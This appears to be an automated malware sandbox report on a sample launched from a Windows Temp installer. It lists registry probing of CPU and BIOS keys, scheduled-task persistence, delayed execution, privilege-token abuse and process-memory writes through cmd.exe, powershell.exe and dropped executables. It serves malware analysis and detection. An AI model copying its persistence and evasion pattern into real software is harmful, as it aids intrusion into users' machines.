Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	2E47.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3792 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

6444 timeout.exe

pid	process
3792	schtasks.exe

pid	process
6444	timeout.exe

Enumerates system info in registry 2 TTPs 36 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

5372 taskkill.exe

pid	process
5372	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

WaaSMedicAgent.exesvchost.exeWaaSMedicAgent.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeSun15dbd675f871ca.exe

pid	process
568	powershell.exe
568	powershell.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3212
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

oVbCA6Ocv_bmi86kIF6_X9ud.exeCF86.exe

pid process

5800 oVbCA6Ocv_bmi86kIF6_X9ud.exe
6696 CF86.exe
Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

7581533.scr

pid process

5720 7581533.scr

pid	process
3212

pid	process
5800	oVbCA6Ocv_bmi86kIF6_X9ud.exe
6696	CF86.exe

pid	process
5720	7581533.scr

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

svchost.exesvchost.exesvchost.exeWaaSMedicAgent.exeSun15901f2f025e.exepowershell.exeSun15f67075f27a2b5b.exeSun152e52d07b74d9b5.exeWerFault.exe5463742.scrtaskkill.exe1upnME8VKubWhyIPkgUiZRnZ.exe

description	pid	process
Token: SeSystemtimePrivilege	4608	svchost.exe
Token: SeSystemtimePrivilege	4608	svchost.exe
Token: SeIncBasePriorityPrivilege	4608	svchost.exe
Token: SeShutdownPrivilege	4892	svchost.exe
Token: SeCreatePagefilePrivilege	4892	svchost.exe
Token: SeShutdownPrivilege	4892	svchost.exe
Token: SeCreatePagefilePrivilege	4892	svchost.exe
Token: SeShutdownPrivilege	4892	svchost.exe
Token: SeCreatePagefilePrivilege	4892	svchost.exe
Token: SeShutdownPrivilege	3592	svchost.exe
Token: SeCreatePagefilePrivilege	3592	svchost.exe
Token: SeTakeOwnershipPrivilege	4064	WaaSMedicAgent.exe
Token: SeSecurityPrivilege	4064	WaaSMedicAgent.exe
Token: SeRestorePrivilege	4064	WaaSMedicAgent.exe
Token: SeBackupPrivilege	4064	WaaSMedicAgent.exe
Token: SeCreateTokenPrivilege	3156	Sun15901f2f025e.exe
Token: SeAssignPrimaryTokenPrivilege	3156	Sun15901f2f025e.exe
Token: SeLockMemoryPrivilege	3156	Sun15901f2f025e.exe
Token: SeIncreaseQuotaPrivilege	3156	Sun15901f2f025e.exe
Token: SeMachineAccountPrivilege	3156	Sun15901f2f025e.exe
Token: SeTcbPrivilege	3156	Sun15901f2f025e.exe
Token: SeSecurityPrivilege	3156	Sun15901f2f025e.exe
Token: SeTakeOwnershipPrivilege	3156	Sun15901f2f025e.exe
Token: SeLoadDriverPrivilege	3156	Sun15901f2f025e.exe
Token: SeSystemProfilePrivilege	3156	Sun15901f2f025e.exe
Token: SeSystemtimePrivilege	3156	Sun15901f2f025e.exe
Token: SeProfSingleProcessPrivilege	3156	Sun15901f2f025e.exe
Token: SeIncBasePriorityPrivilege	3156	Sun15901f2f025e.exe
Token: SeCreatePagefilePrivilege	3156	Sun15901f2f025e.exe
Token: SeCreatePermanentPrivilege	3156	Sun15901f2f025e.exe
Token: SeBackupPrivilege	3156	Sun15901f2f025e.exe
Token: SeRestorePrivilege	3156	Sun15901f2f025e.exe
Token: SeShutdownPrivilege	3156	Sun15901f2f025e.exe
Token: SeDebugPrivilege	3156	Sun15901f2f025e.exe
Token: SeAuditPrivilege	3156	Sun15901f2f025e.exe
Token: SeSystemEnvironmentPrivilege	3156	Sun15901f2f025e.exe
Token: SeChangeNotifyPrivilege	3156	Sun15901f2f025e.exe
Token: SeRemoteShutdownPrivilege	3156	Sun15901f2f025e.exe
Token: SeUndockPrivilege	3156	Sun15901f2f025e.exe
Token: SeSyncAgentPrivilege	3156	Sun15901f2f025e.exe
Token: SeEnableDelegationPrivilege	3156	Sun15901f2f025e.exe
Token: SeManageVolumePrivilege	3156	Sun15901f2f025e.exe
Token: SeImpersonatePrivilege	3156	Sun15901f2f025e.exe
Token: SeCreateGlobalPrivilege	3156	Sun15901f2f025e.exe
Token: 31	3156	Sun15901f2f025e.exe
Token: 32	3156	Sun15901f2f025e.exe
Token: 33	3156	Sun15901f2f025e.exe
Token: 34	3156	Sun15901f2f025e.exe
Token: 35	3156	Sun15901f2f025e.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	2008	Sun15f67075f27a2b5b.exe
Token: SeDebugPrivilege	1548	Sun152e52d07b74d9b5.exe
Token: SeRestorePrivilege	4516	WerFault.exe
Token: SeBackupPrivilege	4516	WerFault.exe
Token: SeBackupPrivilege	4516	WerFault.exe
Token: SeRestorePrivilege	4516	WerFault.exe
Token: SeBackupPrivilege	4516	WerFault.exe
Token: SeRestorePrivilege	4516	WerFault.exe
Token: SeBackupPrivilege	4516	WerFault.exe
Token: SeBackupPrivilege	4516	WerFault.exe
Token: SeDebugPrivilege	5092	5463742.scr
Token: SeDebugPrivilege	5372	taskkill.exe
Token: SeCreateTokenPrivilege	5628	1upnME8VKubWhyIPkgUiZRnZ.exe
Token: SeAssignPrimaryTokenPrivilege	5628	1upnME8VKubWhyIPkgUiZRnZ.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesvchost.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4012 wrote to memory of 1248	4012	setup_x86_x64_install.exe	setup_installer.exe
PID 4012 wrote to memory of 1248	4012	setup_x86_x64_install.exe	setup_installer.exe
PID 4012 wrote to memory of 1248	4012	setup_x86_x64_install.exe	setup_installer.exe
PID 1248 wrote to memory of 1280	1248	setup_installer.exe	setup_install.exe
PID 1248 wrote to memory of 1280	1248	setup_installer.exe	setup_install.exe
PID 1248 wrote to memory of 1280	1248	setup_installer.exe	setup_install.exe
PID 3592 wrote to memory of 2376	3592	svchost.exe	MoUsoCoreWorker.exe
PID 3592 wrote to memory of 2376	3592	svchost.exe	MoUsoCoreWorker.exe
PID 1280 wrote to memory of 5108	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 5108	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 5108	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 4964	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 4964	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 4964	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3900	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3900	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3900	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3256	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3256	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3256	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 1116	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 1116	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 1116	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 5044	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 5044	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 5044	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 4760	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 4760	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 4760	1280	setup_install.exe	cmd.exe
PID 5108 wrote to memory of 568	5108	cmd.exe	powershell.exe
PID 5108 wrote to memory of 568	5108	cmd.exe	powershell.exe
PID 5108 wrote to memory of 568	5108	cmd.exe	powershell.exe
PID 4964 wrote to memory of 2948	4964	cmd.exe	Sun152bab5a2de.exe
PID 4964 wrote to memory of 2948	4964	cmd.exe	Sun152bab5a2de.exe
PID 4964 wrote to memory of 2948	4964	cmd.exe	Sun152bab5a2de.exe
PID 1280 wrote to memory of 3428	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3428	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3428	1280	setup_install.exe	cmd.exe
PID 3256 wrote to memory of 1256	3256	cmd.exe	Sun15dbd675f871ca.exe
PID 3256 wrote to memory of 1256	3256	cmd.exe	Sun15dbd675f871ca.exe
PID 3256 wrote to memory of 1256	3256	cmd.exe	Sun15dbd675f871ca.exe
PID 3900 wrote to memory of 3156	3900	cmd.exe	Sun15901f2f025e.exe
PID 3900 wrote to memory of 3156	3900	cmd.exe	Sun15901f2f025e.exe
PID 3900 wrote to memory of 3156	3900	cmd.exe	Sun15901f2f025e.exe
PID 1280 wrote to memory of 2876	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 2876	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 2876	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3064	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3064	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3064	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 660	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 660	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 660	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3352	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3352	1280	setup_install.exe	cmd.exe
PID 1280 wrote to memory of 3352	1280	setup_install.exe	cmd.exe
PID 1116 wrote to memory of 2008	1116	cmd.exe	Sun15f67075f27a2b5b.exe
PID 1116 wrote to memory of 2008	1116	cmd.exe	Sun15f67075f27a2b5b.exe
PID 4760 wrote to memory of 420	4760	cmd.exe	Sun15f1b1f8c669.exe
PID 4760 wrote to memory of 420	4760	cmd.exe	Sun15f1b1f8c669.exe
PID 4760 wrote to memory of 420	4760	cmd.exe	Sun15f1b1f8c669.exe
PID 3428 wrote to memory of 1988	3428	cmd.exe	Sun159ff1acacf.exe
PID 3428 wrote to memory of 1988	3428	cmd.exe	Sun159ff1acacf.exe
PID 3428 wrote to memory of 1988	3428	cmd.exe	Sun159ff1acacf.exe

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
